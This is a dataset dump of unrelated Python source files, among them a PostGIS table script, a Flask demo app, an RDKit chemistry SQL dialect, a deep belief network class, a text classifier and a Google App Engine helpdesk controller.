\n","sub_path":"code/Python/old/Euler/p62.py","file_name":"p62.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"611630657","text":"import psycopg2 \nfrom utils.db_connection import get_connection,close_connection\n\ndef main():\n\t\"\"\"Creates the main polygon and \n\tpoint geographies tables\n\t\"\"\"\n\tconn = get_connection()\n\tcur = conn.cursor()\n\tstatements = [\n\t\t\"\"\"CREATE TABLE IF NOT EXISTS polygon_geographies(\n\t\t\tname text NOT NULL,\n\t\t\tid uuid PRIMARY KEY NOT NULL,\n\t\t\tpolygon geography(POLYGON,4326)\n\t\t\t);\"\"\",\n\t\t\"\"\"CREATE TABLE IF NOT EXISTS point_geographies(\n\t\t\tname text NOT NULL,\n\t\t\tid uuid PRIMARY KEY NOT NULL,\n\t\t\taddress text NOT NULL, \n\t\t\tcity text NOT NULL,\n\t\t\tzip integer NOT NULL,\n\t\t\tpoint geography(POINT,4326)\n\t\t\t);\"\"\"]\n\tfor statement in statements:\n\t\tcur.execute(statement)\n\t\tconn.commit()\n\tclose_connection(conn,cur)\n\t\nif __name__ == '__main__':\n\tmain()\n","sub_path":"create_geographies.py","file_name":"create_geographies.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"185556166","text":"#!/usr/bin/env python\nimport flask\nimport socket\n\nfrom autoscaler.client.sender import send_request_data\n\n\nAUTOSCALER_HOST = 'autoscaler.swarmer.me'\nAUTOSCALER_PORT = 8740\n\napp = flask.Flask(__name__)\n\n\n@app.route('/')\ndef index():\n try:\n send_request_data(AUTOSCALER_HOST, AUTOSCALER_PORT)\n except Exception as e:\n autoscaling_message = 'Error: %s\\n' % str(e)\n else:\n autoscaling_message = 'Autoscaling data sent successfully\\n'\n\n hostname = socket.gethostname()\n return flask.Response(\n response=autoscaling_message + 'Hello, world, from %s!' % hostname,\n mimetype='text/plain',\n )\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"360015832","text":"#!/usr/bin/env python3\n# import numpy as np\n# from collections import deque\nimport sys\nsys.setrecursionlimit(10**6)\n\n\n# def tansaku(x, y):\n# dis_base = a[x][y]\n# dis_lists = [10**10]*n\n# dis_lists[x] = 0\n\n# goal = y\n# now = x\n# dis = 0\n\n# d = deque([(now, dis)])\n\n# while(d):\n# # break\n# now, dis = d.pop()\n# if now == goal:\n# dis_lists[now] = min(dis, dis_lists[now])\n# continue\n\n# for i in map_set[now]:\n# dis_tmp = a[now][i]+dis\n# if dis_lists[i] > dis_tmp:\n# dis_lists[i] = dis_tmp\n# d.append((i, dis_tmp))\n\n# if dis_lists[y] > dis_base:\n# return 1\n# elif dis_lists[y] == dis_base:\n# return 0\n# else:\n# print(-1)\n# exit()\n\n\n# n = int(input())\n# a = [list(map(int, input().split())) for i in range(n)]\n\n\n# if n == 1:\n# print(a[0])\n# exit()\n# if n == 2:\n# print(a[0][-1])\n# exit()\n\n# dis_list = []\n# for y in range(n):\n# for x in range(n):\n# if x > y:\n# dis_list.append([(y, x), a[y][x]])\n\n# dis_list = sorted(dis_list, key=lambda x: x[1])\n\n# # print(dis_list)\n# min_dis = dis_list[0][1]+dis_list[1][1]\n\n# # map_ = np.zeros((n, n), dtype=np.int64)\n# map_ = [[0]*n for i in range(n)]\n# map_set = [[] for i in range(n)]\n\n# (y, x), dis = dis_list[0]\n# map_[y][x] = 1\n# # map_[x][y] = 1\n# map_set[x].append(y)\n# map_set[y].append(x)\n\n\n# (y, x), dis = dis_list[1]\n# map_[y][x] = 1\n# # map_[x][y] = 1\n# map_set[x].append(y)\n# map_set[y].append(x)\n\n# # print(map_)\n# for i in range(2, len(dis_list)):\n# (y, x), dis = dis_list[i]\n# if dis < min_dis:\n# map_[y][x] = 1\n# # map_[x][y] = 1\n# map_set[x].append(y)\n# map_set[y].append(x)\n# continue\n\n# flag = tansaku(x, y)\n\n# # print(x, y, flag)\n# if flag == 1:\n# map_[y][x] = 1\n# # map_[x][y] = 1\n# map_set[x].append(y)\n# map_set[y].append(x)\n\nn = int(input())\na = [list(map(int, input().split())) for i in range(n)]\n\nmap_ = [[True]*n for i in range(n)]\n\nfor k in range(n):\n for i in range(n):\n for j in range(n):\n\n # tmp = [0]*n\n\n if a[i][j] > a[i][k] + a[k][j]:\n print(-1)\n exit()\n if a[i][j] == a[i][k]+a[k][j]:\n if i == k or i == j or k == j:\n continue\n # if a[i][j] == a[i][k]+a[k][j]:\n map_[i][j] = False\n\n# print(map_)\nans = 0\nfor y in range(n):\n for x in range(y+1, n):\n if map_[y][x] == 1:\n ans += a[y][x]\nprint(ans)\n","sub_path":"abc074/d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"538527315","text":"def permute(string):\n res = []\n\n if len(string) == 1:\n res.append(string)\n return res\n\n for i, _ in enumerate(string):\n first = string[i]\n rest = string[:i] + string[i + 1:]\n\n perms = permute(rest)\n for perm in perms:\n res.append(first + perm)\n\n return res\n\n\nprint(permute('ABC'))\n","sub_path":"B_the_rest/string_permutation_2.py","file_name":"string_permutation_2.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"639531326","text":"import cv2\nimport numpy as np\ndef get_pose(pt13, pt2, K):\n \"\"\"\n input:\n K: camera intrinsic [3x3]\n pt13: point in world cooedinate [Nx3x1]\n pt2: point in image coordinate [Nx2x1]\n return:\n camera_pose: camera_pose\n \"\"\"\n #matx solve the different coordinate between opencv and opengl\n matx = np.array([[1, 0, 0,0 ],[0, -1, 0, 0],[0, 0, -1, 0],[0, 0, 0, 1]]) \n _,rvec,tvec,inliners = cv2.solvePnPRansac(pt13, pt2, K, None)\n R = cv2.Rodrigues(rvec)[0]\n T = tvec\n R = R.transpose()\n T = -R.dot(T)\n camera_pose = np.eye(4)\n camera_pose[0:3,0:3] = R\n camera_pose[0:3,3:4] = T\n camera_pose = camera_pose.dot(matx)\n return camera_pose\n\n\ndef get2d23d(depth, camera_pose, K, pt1, pt2, znear, zfar, width=480, height=640):\n \"\"\"\n input: \n depth: image depth(in coordinate) \n camera_pose: orign camera_pose\n K: camera intrinsic\n pt1: orign 2d Point\n pt2: matchinfg 2d point\n znear,zfar: depth clip range\n\n return:\n pt13: point in world coordinate[Nx3x1]\n pt2: part of input pt2\n \"\"\"\n zn = znear\n zf = zfar\n h = height/2\n w = width/2\n pt13 = []\n pt2new = []\n for i in range(pt1.shape[0]):\n dx = int(pt1[i,1])\n dy = int(pt1[i,0])\n if depth[dx,dy] == 0:\n continue\n d = (depth[dx,dy]*(zn+zf)-2*zf*zn)/((zf-zn)*depth[dx,dy])\n # print(type(x))\n uvd = np.array([[(dy*1.0-w+0.5)/w],[-(dx*1.0-h+0.5)/h],[d], [1.0]])\n uvd = uvd*-depth[dx,dy]\n xyz = np.linalg.inv(K).dot(uvd)\n xyz = camera_pose.dot(xyz)\n # fobj.write('v'+' '+str(xyz[0,0]/xyz[3,0])+' '+str(xyz[1,0]/xyz[3,0])+' '+str(xyz[2,0]/xyz[3,0])+'\\n')\n pt13.append([xyz[0,0]/xyz[3,0],xyz[1,0]/xyz[3,0],xyz[2,0]/xyz[3,0]])\n pt2new.append(pt2[i])\n pt13 = np.array(pt13) \n pt2new = np.array(pt2new)\n return pt13, pt2new\n\n \n","sub_path":"examples/get_pose.py","file_name":"get_pose.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"523871644","text":"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom pandas import DataFrame as df\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.naive_bayes import MultinomialNB\r\nfrom sklearn.externals import joblib\r\n\r\ndef tfidf_process(feature):\r\n tfidf_vec = TfidfVectorizer(binary=False,decode_error='ignore',\r\n stop_words='english', max_df=0.4, min_df=0.005) \r\n # print(tfidf_vec)\r\n vec = tfidf_vec.fit_transform(feature) \r\n\r\n voc = tfidf_vec.vocabulary_ \r\n res = sorted(voc.items(), key=lambda d:d[1])\r\n idf_value = tfidf_vec.idf_ \r\n\r\n voc_idf_list = []\r\n num = 0\r\n for r in res:\r\n tmp = list(r)\r\n tmp[1] = idf_value[num]\r\n num += 1\r\n voc_idf_list.append(tmp) \r\n\r\n with open('voc_idf_list.txt', 'w') as fw:\r\n for v in voc_idf_list:\r\n fw.write(v[0]+'\\t'+str(v[1])+'\\n')\r\n \r\n\r\n arr = vec.todense()\r\n arr = np.array(arr)\r\n return arr\r\n\r\ndef main():\r\n data = pd.read_csv('shuffled-full-set-hashed.csv', header=None)\r\n new_data = data.dropna() \r\n\r\n labels = new_data.iloc[:,0] \r\n feature = new_data.iloc[:, 1] \r\n print('read done...')\r\n feature_vectors = tfidf_process(feature) \r\n print('tfidf done...')\r\n \r\n X_train, X_test, y_train, y_test = train_test_split(feature_vectors, labels, test_size=0.2, random_state=0)\r\n\r\n clf = MultinomialNB(alpha=0.01) \r\n clf.fit(X_train, y_train)\r\n print('model done...') \r\n scores = clf.score(X_test, y_test) \r\n print(scores)\r\n joblib.dump(clf, \"train_model.m\") \r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"document_classifier/model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"402463218","text":"\"\"\"Controller for JREF submissions.\"\"\"\n\nfrom typing import Tuple, Dict, Any, Optional\n\nfrom werkzeug import MultiDict\nfrom werkzeug.exceptions import InternalServerError, NotFound\n\nfrom flask import url_for, Markup\nfrom wtforms.fields import TextField, TextAreaField, Field, BooleanField\nfrom wtforms.validators import InputRequired, ValidationError, optional, \\\n DataRequired\n\nfrom arxiv import status\nfrom arxiv.base import logging, alerts\nfrom arxiv.forms import csrf\nfrom arxiv.users.domain import Session\nimport arxiv.submission as events\n\nfrom ..util import load_submission\nfrom . import util\n\nlogger = logging.getLogger(__name__) # pylint: disable=C0103\n\nResponse = Tuple[Dict[str, Any], int, Dict[str, Any]] # pylint: disable=C0103\n\n\nclass JREFForm(csrf.CSRFForm, util.FieldMixin, util.SubmissionMixin):\n \"\"\"Set DOI and/or journal reference on a published submission.\"\"\"\n\n doi = TextField('DOI', validators=[optional()],\n description=(\"Full DOI of the version of record. For\"\n \" example:\"\n \" 10.1016/S0550-3213(01)00405-9\"\n ))\n journal_ref = TextField('Journal reference', validators=[optional()],\n description=(\n \"For example: Nucl.Phys.Proc.Suppl. 109\"\n \" (2002) 3-9. See\"\n \" \"\n \"the arXiv help pages for details.\"))\n report_num = TextField('Report number', validators=[optional()],\n description=(\n \"For example: SU-4240-720.\"\n \" Multiple report numbers should be separated\"\n \" with a semi-colon and a space, for example:\"\n \" SU-4240-720; LAUR-01-2140.\"\n \" See \"\n \"the arXiv help pages for details.\"))\n confirmed = BooleanField('Confirmed',\n false_values=('false', False, 0, '0', ''))\n\n def validate_doi(form: csrf.CSRFForm, field: Field) -> None:\n \"\"\"Validate DOI input using core events.\"\"\"\n if field.data == form.submission.metadata.doi: # Nothing to do.\n return\n if field.data:\n form._validate_event(events.SetDOI, doi=field.data)\n\n def validate_journal_ref(form: csrf.CSRFForm, field: Field) -> None:\n \"\"\"Validate journal reference input using core events.\"\"\"\n if field.data == form.submission.metadata.journal_ref:\n return\n if field.data:\n form._validate_event(events.SetJournalReference,\n journal_ref=field.data)\n\n def validate_report_num(form: csrf.CSRFForm, field: Field) -> None:\n \"\"\"Validate report number input using core events.\"\"\"\n if field.data == form.submission.metadata.report_num:\n return\n if field.data:\n form._validate_event(events.SetReportNumber,\n report_num=field.data)\n\n\ndef jref(method: str, params: MultiDict, session: Session,\n submission_id: int) -> Response:\n \"\"\"Set journal reference metadata on a published submission.\"\"\"\n submitter, client = util.user_and_client_from_session(session)\n logger.debug(f'method: {method}, submission: {submission_id}. {params}')\n\n # Will raise NotFound if there is no such submission.\n submission, submission_events = load_submission(submission_id)\n\n # The submission must be published for this to be a real JREF submission.\n if not submission.published:\n alerts.flash_failure(Markup(\"Submission must first be published. See \"\n \"\"\n \"the arXiv help pages for details.\"))\n status_url = url_for('ui.create_submission')\n return {}, status.HTTP_303_SEE_OTHER, {'Location': status_url}\n\n # The form should be prepopulated based on the current state of the\n # submission.\n if method == 'GET':\n params = MultiDict({\n 'doi': submission.metadata.doi,\n 'journal_ref': submission.metadata.journal_ref,\n 'report_num': submission.metadata.report_num\n })\n\n params.setdefault(\"confirmed\", False)\n form = JREFForm(params)\n form.submission = submission\n form.creator = submitter\n response_data = {\n 'submission_id': submission_id,\n 'submission': submission,\n 'form': form,\n }\n\n if method == 'POST':\n # We require the user to confirm that they wish to proceed. We show\n # them a preview of what their paper's abs page will look like after\n # the proposed change. They can either make further changes, or\n # confirm and submit.\n if not form.validate():\n logger.debug('Invalid form data; return bad request')\n return response_data, status.HTTP_400_BAD_REQUEST, {}\n\n elif not form.events:\n pass\n elif not form.confirmed.data:\n response_data['require_confirmation'] = True\n logger.debug('Not confirmed')\n return response_data, status.HTTP_200_OK, {}\n\n # form.events get set by the SubmissionMixin during validation.\n # TODO: that's kind of indirect.\n elif form.events: # Metadata has changed.\n response_data['require_confirmation'] = True\n logger.debug('Form is valid, with data: %s', str(form.data))\n try:\n # Save the events created during form validation.\n submission, stack = events.save(*form.events,\n submission_id=submission_id)\n except events.exceptions.InvalidStack as e:\n logger.error('Could not add JREF: %s', str(e))\n form.errors # Causes the form to initialize errors.\n form._errors['events'] = [\n ie.message for ie in e.event_exceptions\n ]\n logger.debug('InvalidStack; return bad request')\n return response_data, status.HTTP_400_BAD_REQUEST, {}\n except events.exceptions.SaveError as e:\n logger.error('Could not save metadata event')\n raise InternalServerError(\n 'There was a problem saving this operation'\n ) from e\n\n # Success! Send user back to the submission page.\n alerts.flash_success(\"Journal reference updated\")\n status_url = url_for('ui.create_submission')\n return {}, status.HTTP_303_SEE_OTHER, {'Location': status_url}\n logger.debug('Nothing to do, return 200')\n return response_data, status.HTTP_200_OK, {}\n","sub_path":"submit/controllers/jref.py","file_name":"jref.py","file_ext":"py","file_size_in_byte":7001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"614061062","text":"# -*- coding: utf-8 -*-\nfrom sqlalchemy import Column\nfrom sqlalchemy.sql import func, cast, text\nfrom sqlalchemy.ext.compiler import compiles\nfrom sqlalchemy.sql.expression import ClauseElement, Executable\n\nfrom razi.orm import ChemComparator\nfrom razi.chemtypes import Molecule, QMolecule, BitFingerprint, CntFingerprint\nfrom razi.expression import \\\n PersistentMoleculeElement, PersistentBitFingerprintElement, \\\n PersistentCntFingerprintElement, \\\n TxtMoleculeElement, TxtQMoleculeElement\nfrom razi.dialect import ChemicalDialect\nfrom razi.functions import functions, parse_clause\n\n\nclass GUC(Executable, ClauseElement):\n\n def __init__(self, variable, *args, **kwargs):\n self.variable = variable\n #Executable.__init__(self, self.__class__.__name__, **kwargs)\n\n def set(self, value):\n xpr = text('SET %s=:value' % self.variable)\n return xpr.execution_options(autocommit=True).params(value=value)\n\n def get(self):\n return text('SHOW %s' % self.variable)\n\n\n@compiles(GUC)\ndef __compile_guc(element, compiler, **kwargs):\n return compiler.process(element.get())\n\ntanimoto_threshold = GUC('rdkit.tanimoto_threshold')\ndice_threshold = GUC('rdkit.dice_threshold')\n\n\nclass PostgresRDKitComparator(ChemComparator):\n \"\"\"Comparator class used for PostgreSQL+RDKit\n \"\"\"\n def __getattr__(self, name):\n try:\n return ChemComparator.__getattr__(self, name)\n except AttributeError:\n return getattr(pgrdkit_functions, name)(self)\n\n\nclass PostgresRDKitPersistentMoleculeElement(PersistentMoleculeElement):\n\n def __init__(self, desc):\n self.desc = desc\n\n def __getattr__(self, name):\n try:\n return PersistentMoleculeElement.__getattr__(self, name)\n except AttributeError:\n return getattr(pgrdkit_functions, name)(self)\n\n\nclass PostgresRDKitPersistentBitFingerprintElement(PersistentBitFingerprintElement):\n\n def __init__(self, desc):\n self.desc = desc\n\n def __getattr__(self, name):\n try:\n return PersistentBitFingerprintElement.__getattr__(self, name)\n except AttributeError:\n return getattr(pgrdkit_functions, name)(self)\n\n\nclass PostgresRDKitPersistentCntFingerprintElement(PersistentCntFingerprintElement):\n\n def __init__(self, desc):\n self.desc = desc\n\n def __getattr__(self, name):\n try:\n return PersistentCntFingerprintElement.__getattr__(self, name)\n except AttributeError:\n return getattr(pgrdkit_functions, name)(self)\n\n\nclass pgrdkit_functions(functions):\n \"\"\"Functions only supported by PostgreSQL+RDKit\n \"\"\"\n\n @staticmethod\n def _equals(compiler, element, arg1, arg2):\n m1 = parse_clause(arg1, compiler, TxtMoleculeElement)\n m2 = parse_clause(arg2, compiler, TxtMoleculeElement)\n if isinstance(m1, Column) and\\\n isinstance(m1.type, Molecule) and \\\n m1.type.chemical_index:\n return m1.op('@=')(m2)\n elif isinstance(m2, Column) and\\\n isinstance(m2.type, Molecule) and \\\n m2.type.chemical_index:\n return m2.op('@=')(m1)\n else:\n return func.mol_eq(m1, m2)\n\n @staticmethod\n def _contains(compiler, element, arg1, arg2):\n m1 = parse_clause(arg1, compiler, TxtMoleculeElement)\n m2 = parse_clause(arg2, compiler, TxtMoleculeElement)\n if isinstance(m1, Column) and\\\n isinstance(m1.type, Molecule) and \\\n m1.type.chemical_index:\n return m1.op('@>')(m2)\n elif isinstance(m2, Column) and\\\n isinstance(m2.type, Molecule) and \\\n m2.type.chemical_index:\n return m2.op('<@')(m1)\n else:\n return func.substruct(m1, m2)\n\n @staticmethod\n def _contained_in(compiler, element, arg1, arg2):\n m1 = parse_clause(arg1, compiler, TxtMoleculeElement)\n m2 = parse_clause(arg2, compiler, TxtMoleculeElement)\n if isinstance(m1, Column) and\\\n isinstance(m1.type, Molecule) and \\\n m1.type.chemical_index:\n return m1.op('<@')(m2)\n elif isinstance(m2, Column) and\\\n isinstance(m2.type, Molecule) and \\\n m2.type.chemical_index:\n return m2.op('@>')(m1)\n else:\n return func.rsubstruct(m1, m2)\n\n @staticmethod\n def _match(compiler, element, arg1, arg2):\n m1 = parse_clause(arg1, compiler, TxtQMoleculeElement)\n m2 = parse_clause(arg2, compiler, TxtQMoleculeElement)\n if isinstance(m1, Column) and\\\n isinstance(m1.type, Molecule) and \\\n m1.type.chemical_index:\n return m1.op('@>')(m2)\n elif isinstance(m2, Column) and\\\n isinstance(m2.type, Molecule) and \\\n m2.type.chemical_index:\n return m2.op('<@')(m1)\n else:\n return func.substruct(m1, m2)\n\n @staticmethod\n def _tanimoto(compiler, element, arg1, arg2):\n m1 = parse_clause(arg1, compiler)\n m2 = parse_clause(arg2, compiler)\n if (isinstance(m1, Column) and\n isinstance(m1.type, BitFingerprint) and\n m1.type.chemical_index) or \\\n (isinstance(m2, Column) and\n isinstance(m2.type, BitFingerprint) and\n m2.type.chemical_index):\n # apparently, we can just use the mod operator to generate the\n # desired SQL expression\n return m1 % m2\n else:\n return func.tanimoto_sml_op(m1, m2)\n\n @staticmethod\n def _dice(compiler, element, arg1, arg2):\n m1 = parse_clause(arg1, compiler)\n m2 = parse_clause(arg2, compiler)\n if (isinstance(m1, Column) and\n isinstance(m1.type, BitFingerprint) and\n m1.type.chemical_index) or \\\n (isinstance(m2, Column) and\n isinstance(m2.type, BitFingerprint) and\n m2.type.chemical_index):\n return m1.op('#')(m2)\n else:\n return func.dice_sml_op(m1, m2)\n\n @staticmethod\n def mol(params, within_column_clause, **flags):\n # TODO: check carefully 'within_column_clause'\n (param,) = params\n return cast(param, Molecule)\n\n @staticmethod\n def qmol(params, within_column_clause, **flags):\n # TODO: check carefully 'within_column_clause'\n (param,) = params\n return cast(param, QMolecule)\n\n\nclass PostgresRDKitDialect(ChemicalDialect):\n \"\"\"Implementation of ChemicalDialect for PostgreSQL+RDKit.\"\"\"\n\n __functions = {\n TxtMoleculeElement: pgrdkit_functions.mol,\n TxtQMoleculeElement: pgrdkit_functions.qmol,\n\n # molecular descriptors\n functions.mw: 'mol_amw',\n functions.logp: 'mol_logp',\n functions.tpsa: 'mol_tpsa',\n functions.hba: 'mol_hba',\n functions.hbd: 'mol_hbd',\n functions.num_atoms: 'mol_numatoms',\n functions.num_hetatoms: 'mol_numheteroatoms',\n functions.num_hvy_atoms: 'mol_numheavyatoms',\n functions.num_rings: 'mol_numrings',\n functions.num_rotatable_bonds: 'mol_numrotatablebonds',\n\n # molecule comparison ops\n functions.equals: pgrdkit_functions._equals,\n functions.contains: pgrdkit_functions._contains,\n functions.contained_in: pgrdkit_functions._contained_in,\n functions.match: pgrdkit_functions._match,\n\n # bitstring fingerprint generation\n functions.morgan_b: 'morganbv_fp',\n functions.morgan_feat_b: 'featmorganbv_fp',\n functions.atompair_b: 'atompairbv_fp',\n functions.torsion_b: 'torsionbv_fp',\n functions.layered_b: 'layered_fp',\n\n # count vector fingerprint generation\n functions.morgan_c: 'morgan_fp',\n functions.morgan_feat_c: 'featmorgan_fp',\n functions.atompair_c: 'atompair_fp',\n functions.torsion_c: 'torsion_fp',\n\n # fingerprint similarity\n functions.tanimoto_similarity: 'tanimoto_sml',\n functions.tanimoto_similar: pgrdkit_functions._tanimoto,\n functions.dice_similarity: 'dice_sml',\n functions.dice_similar: pgrdkit_functions._dice,\n\n #pgrdkit_functions.func2 : 'Func2',\n }\n\n def _get_function_mapping(self):\n return PostgresRDKitDialect.__functions\n\n def process_result(self, value, type_):\n if isinstance(type_, Molecule):\n return PostgresRDKitPersistentMoleculeElement(value)\n elif isinstance(type_, BitFingerprint):\n return PostgresRDKitPersistentBitFingerprintElement(value)\n elif isinstance(type_, CntFingerprint):\n return PostgresRDKitPersistentCntFingerprintElement(value)\n raise NotImplementedError(\"DB column for type %s not supported by the \"\n \"current chemical dialect \" % type(type_))\n\n def db_column_type(self, type_):\n if isinstance(type_, Molecule):\n return 'mol'\n elif isinstance(type_, QMolecule):\n return 'qmol'\n elif isinstance(type_, BitFingerprint):\n return 'bfp'\n elif isinstance(type_, CntFingerprint):\n return 'sfp'\n raise NotImplementedError(\"DB column for type %s not supported by the \"\n \"current chemical dialect \" % type(type_))\n\n def _ddl_before_drop(self, table, column, bind):\n # nothing to do?\n pass\n\n def _ddl_after_create(self, table, column, bind):\n # eventually add a structural index and not NULL constraint\n if column.type.chemical_index:\n bind.execute(\"CREATE INDEX \\\"idx_%s_%s\\\" ON \\\"%s\\\".\\\"%s\\\" USING GIST (%s)\" %\n (table.name, column.name, (table.schema or 'public'),\n table.name, column.name))\n","sub_path":"razi/postgresql_rdkit.py","file_name":"postgresql_rdkit.py","file_ext":"py","file_size_in_byte":9912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"291882430","text":"import rbm\nimport pickle\n\n\nclass DBN(object):\n\n def __init__(self, input_size, dbn_shape):\n\n self._rbm_hidden_sizes = dbn_shape\n self._input_size = input_size\n self.rbm_list = []\n\n print(\"Construct DBN ...\")\n for i, size in enumerate(dbn_shape):\n print('RBM {} : {} -> {}'.format(i, input_size, size))\n self.rbm_list.append(rbm.RBM(input_size, size))\n input_size = size\n\n def pre_train(self, x):\n for i, _rbm in enumerate(self.rbm_list):\n print(\"RBM {}: pre-training ...\".format(i))\n _rbm.train(x)\n x = _rbm.rbm_output(x)\n\n def save_parameters(self):\n model = {\n 'input_size': self._input_size,\n 'rbm_hidden_sizes': self._rbm_hidden_sizes,\n 'params': []\n }\n for _rbm in self.rbm_list:\n model['params'].append({'w': _rbm.w, 'hb': _rbm.hb})\n with open('./params/dbn_parameters.pkl', 'wb') as f:\n pickle.dump(model, f)\n print('pre training parameters saved !')\n\n\nif __name__ == '__main__':\n dbn = DBN(784, [500, 200, 50])\n\n","sub_path":"dbn.py","file_name":"dbn.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"142713305","text":"#!/usr/bin/env python\n\nimport os\nfrom django.utils import simplejson as json\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import login_required\nfrom google.appengine.api import users\nfrom google.appengine.ext.webapp import template\nfrom google.appengine.api import mail\n\nimport config\nfrom controllers.base import Base\nfrom controllers.ticket_base import TicketBase\nfrom models.ticket_service import TicketService\nfrom models.status_service import StatusService\nfrom models.severity_service import SeverityService\nfrom models.comment_service import CommentService\n\nHOST_NAME = 'wa2-helpdesk.appspot.com'\n\nclass ViewTicket(TicketBase):\n\t@login_required\n\tdef get(self, ticketId, lang = 'en', output = 'html'):\n\t\tself.setLanguage(lang)\n\t\tself.current_user = users.GetCurrentUser()\n\t\t\n\t\tif not self.current_user:\n\t\t\treturn self.toLogin()\n\t\telse:\n\t\t\tself.token = self.request.get('token')\n\t\t\tself.ManageAuth()\n\t\t\tself.LookupToken()\n\n\t\t\tif self.client.GetAuthSubToken() is None:\n\t\t\t\treturn self.toAuthorize()\n\t\tticket = TicketService.getById(ticketId)\n\n\t\tticketDict = {\n\t\t\t'id': ticket.key().id(),\n\t\t\t'project': ticket.project,\n\t\t\t'url': '/ticket/%d' % ticket.key().id(),\n\t\t\t'summary': ticket.summary,\n\t\t\t'description': ticket.description,\n\t\t\t'status': ticket.status.name,\n\t\t\t'severity': ticket.severity.name,\n\t\t\t'owner': ticket.author.nickname(),\n\t\t\t'solver': ticket.assignedUser.nickname() if ticket.assignedUser else '-',\n\t\t\t'solverEmail': ticket.assignedUser.email() if ticket.assignedUser else ''\n\t\t}\n\n\t\tstatuses = [ {\n\t\t\t'id': s.key().id(),\n\t\t\t'name': s.name,\n\t\t} for s in StatusService.getAll() ]\n\n\t\tseverities = [ {\n\t\t\t'id': s.key().id(),\n\t\t\t'name': s.name,\n\t\t} for s in SeverityService.getAll() ]\n\n\t\tcomments = [ {\n\t\t\t'author': c.author.nickname(),\n\t\t\t'message': c.message,\n\t\t\t'date': c.date,\n\t\t} for c in CommentService.getByTicket(ticketId) ]\n\n\t\tcontacts = self.GetContacts()\n\t\tif ticket.assignedUser:\n\t\t\tuserEmail = ticket.assignedUser.email()\n\t\t\tindex = [k for k, v in contacts.iteritems() if v == userEmail]\n\t\t\tif len(index):\n\t\t\t\tdel contacts[index[0]]\n\t\t\t\tcontacts['%s (now assigned)' % index[0]] = userEmail\n\t\t\telse:\n\t\t\t\tassignedUserName = '%s - %s (now assigned)' % (ticket.assignedUser.nickname(), userEmail)\n\t\t\t\tcontacts[assignedUserName] = userEmail\n\n\t\tself.values['ticket'] = ticketDict\n\t\tself.values['statuses'] = statuses\n\t\tself.values['severities'] = severities\n\t\tself.values['comments'] = comments\n\t\tself.values['contacts'] = contacts\n\n\t\tif output == 'html':\n\t\t\tself.render('ticket_detail.html')\n\t\tif output == 'xml':\n\t\t\tself.render('ticket_detail.xml')\n\t\telif output == 'json':\n\t\t\tjson.dump(ticket, self.response.out, indent = 4)\n\n\tdef post(self, ticketId, lang = 'en', output = 'html'):\n\t\tticket = TicketService.getById(ticketId)\n\n\t\tuser = users.get_current_user()\n\t\tif not user:\n\t\t\tself.redirect('/')\n\n\t\tself.current_user = users.GetCurrentUser()\n\t\t\n\t\tif not self.current_user:\n\t\t\treturn self.toLogin()\n\t\telse:\n\t\t\tself.token = self.request.get('token')\n\t\t\tself.ManageAuth()\n\t\t\tself.LookupToken()\n\n\t\t\tif self.client.GetAuthSubToken() is None:\n\t\t\t\treturn self.toAuthorize()\n\n\t\tticket.author = user\n\t\tticket.status = StatusService.getById(self.request.get('status'))\n\t\tticket.severity = SeverityService.getById(self.request.get('severity'))\n\t\tticket.summary = self.request.get('summary')\n\t\tticket.description = self.request.get('description')\n\t\tif self.request.get('assignedUser'):\n\t\t\tif(ticket.assignedUser):\n\t\t\t\tif( ticket.assignedUser.email() != self.request.get('assignedUser') ):\n\t\t\t\t\ttaskUrl = \"%s/ticket/%s\" % ('http://%s' % HOST_NAME, ticketId)\n\t\t\t\t\tmail.send_mail(\n\t\t\t\t\tsender= user.email(),\n\t\t\t\t\tto= self.request.get('assignedUser'),\n\t\t\t\t\tsubject=\"Task assigned\",\n\t\t\t\t\tbody=\"\"\"\n%s assigned you task %s\n\nlink: %s\n\"\"\" % (user.nickname(),ticket.summary,taskUrl))\n\t\t\tticket.assignedUser = users.User(self.request.get('assignedUser'))\n\t\tticket.put()\n\t\tself.redirect('/ticket/%d' % ticket.key().id())\n","sub_path":"controllers/view_ticket.py","file_name":"view_ticket.py","file_ext":"py","file_size_in_byte":3960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"593606260","text":"import logging\n\n# from sqlalchemy import exists\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_pattern_type_id(session, pattern_type):\n \"\"\"\n From database, get the id of the pattern type specified in the hfrPatternTypes table.\n :param session: SQLAlchemy database session instance\n :param file_type: 'Ideal' or 'Measured'\n :return: ID of pattern type in hfrPatternTypes table\n \"\"\"\n type_dict = dict(type=pattern_type)\n result = session.query(PatternTypes).filter_by(**type_dict).first()\n\n return int(result.id)\n\n\ndef update_latest_radials(session, _metadata):\n site_id = _metadata['Site']\n radial_id = _metadata['radial_id']\n timestamp = 